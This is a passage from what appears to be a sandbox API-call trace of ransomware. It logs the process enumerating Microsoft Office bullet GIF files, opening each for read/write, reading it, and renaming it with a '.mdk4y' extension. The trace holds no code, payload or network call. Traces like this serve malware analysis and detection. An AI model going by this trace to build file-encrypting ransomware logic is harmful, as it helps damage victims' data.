lpFindFileData=0x6b7110) returned 1 [0183.166] AreFileApisANSI () returned 1 [0183.166] GetACP () returned 0x4e4 [0183.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10301_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10301_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.166] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10301_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825839700000) returned 1 [0183.167] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x109, lpOverlapped=0x0) returned 1 [0183.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825839700000) returned 1 [0183.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825839700000) returned 1 [0183.168] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10301_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10301_.gif.mdk4y")) returned 1 [0183.168] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.168] AreFileApisANSI () returned 1 [0183.168] GetACP () returned 0x4e4 [0183.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10302_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10302_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.168] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10302_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.169] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825839900000) returned 1 [0183.169] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xfd, lpOverlapped=0x0) returned 1 [0183.170] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825840000000) returned 1 [0183.170] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825840000000) returned 1 [0183.170] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10302_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10302_.gif.mdk4y")) returned 1 [0183.171] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.171] AreFileApisANSI () returned 1 [0183.171] GetACP () returned 0x4e4 [0183.171] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10335_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10335_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.171] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10335_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.172] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825840200000) returned 1 [0183.172] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x11a, lpOverlapped=0x0) returned 1 [0183.173] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825840300000) returned 1 [0183.173] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825840300000) returned 1 [0183.173] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10335_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10335_.gif.mdk4y")) returned 1 [0183.173] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.173] AreFileApisANSI () returned 1 [0183.173] GetACP () returned 0x4e4 [0183.174] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10336_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10336_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.174] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10336_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.174] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825840400000) returned 1 [0183.174] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xcc, lpOverlapped=0x0) returned 1 [0183.175] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825840500000) returned 1 [0183.175] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825840500000) returned 1 [0183.175] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10336_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10336_.gif.mdk4y")) returned 1 [0183.176] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.176] AreFileApisANSI () returned 1 [0183.176] GetACP () returned 0x4e4 [0183.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10337_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10337_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.176] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10337_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.177] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825840700000) returned 1 [0183.177] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xf0, lpOverlapped=0x0) returned 1 [0183.178] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825840700000) returned 1 [0183.178] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825840800000) returned 1 [0183.178] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10337_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10337_.gif.mdk4y")) returned 1 [0183.178] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.178] AreFileApisANSI () returned 1 [0183.178] GetACP () returned 0x4e4 [0183.178] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14513_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14513_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.179] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14513_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.179] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825840900000) returned 1 [0183.180] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xce, lpOverlapped=0x0) returned 1 [0183.180] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825841000000) returned 1 [0183.180] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825841000000) returned 1 [0183.181] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14513_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14513_.gif.mdk4y")) returned 1 [0183.181] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.181] AreFileApisANSI () returned 1 [0183.181] GetACP () returned 0x4e4 [0183.181] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14514_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14514_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.181] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14514_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.182] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825841200000) returned 1 [0183.182] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb3, lpOverlapped=0x0) returned 1 [0183.183] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825841300000) returned 1 [0183.183] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825841300000) returned 1 [0183.183] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14514_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14514_.gif.mdk4y")) returned 1 [0183.183] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.183] AreFileApisANSI () returned 1 [0183.183] GetACP () returned 0x4e4 [0183.183] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14515_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14515_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.183] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14515_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.184] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825841400000) returned 1 [0183.184] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb3, lpOverlapped=0x0) returned 1 [0183.185] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825841500000) returned 1 [0183.185] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825841500000) returned 1 [0183.185] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14515_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14515_.gif.mdk4y")) returned 1 [0183.186] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.186] AreFileApisANSI () returned 1 [0183.186] GetACP () returned 0x4e4 [0183.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14528_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14528_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.186] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14528_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.186] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825841600000) returned 1 [0183.186] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x111, lpOverlapped=0x0) returned 1 [0183.187] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825841700000) returned 1 [0183.187] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825841700000) returned 1 [0183.187] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14528_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14528_.gif.mdk4y")) returned 1 [0183.188] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.188] AreFileApisANSI () returned 1 [0183.188] GetACP () returned 0x4e4 [0183.188] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14529_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14529_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.188] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14529_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14529_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.188] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825841800000) returned 1 [0183.188] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x112, lpOverlapped=0x0) returned 1 [0183.189] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825841900000) returned 1 [0183.189] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825841900000) returned 1 [0183.189] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14529_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14529_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14529_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14529_.gif.mdk4y")) returned 1 [0183.190] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.190] AreFileApisANSI () returned 1 [0183.190] GetACP () returned 0x4e4 [0183.190] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14530_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14530_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.190] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14530_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.190] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825842000000) returned 1 [0183.190] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x13c, lpOverlapped=0x0) returned 1 [0183.191] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825842100000) returned 1 [0183.191] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825842100000) returned 1 [0183.191] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14530_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14530_.gif.mdk4y")) returned 1 [0183.192] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.192] AreFileApisANSI () returned 1 [0183.192] GetACP () returned 0x4e4 [0183.192] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14531_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14531_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.192] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14531_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.193] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825842300000) returned 1 [0183.193] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xf5, lpOverlapped=0x0) returned 1 [0183.194] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825842400000) returned 1 [0183.194] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825842400000) returned 1 [0183.194] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14531_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14531_.gif.mdk4y")) returned 1 [0183.194] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.195] AreFileApisANSI () returned 1 [0183.195] GetACP () returned 0x4e4 [0183.195] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14532_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14532_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.195] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14532_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14532_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.195] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825842500000) returned 1 [0183.195] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xf5, lpOverlapped=0x0) returned 1 [0183.196] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825842600000) returned 1 [0183.196] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825842600000) returned 1 [0183.196] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14532_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14532_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14532_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14532_.gif.mdk4y")) returned 1 [0183.197] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.197] AreFileApisANSI () returned 1 [0183.197] GetACP () returned 0x4e4 [0183.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14533_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14533_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.197] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14533_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.197] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825842700000) returned 1 [0183.197] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xf5, lpOverlapped=0x0) returned 1 [0183.198] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825842800000) returned 1 [0183.198] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825842800000) returned 1 [0183.198] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14533_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14533_.gif.mdk4y")) returned 1 [0183.199] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.199] AreFileApisANSI () 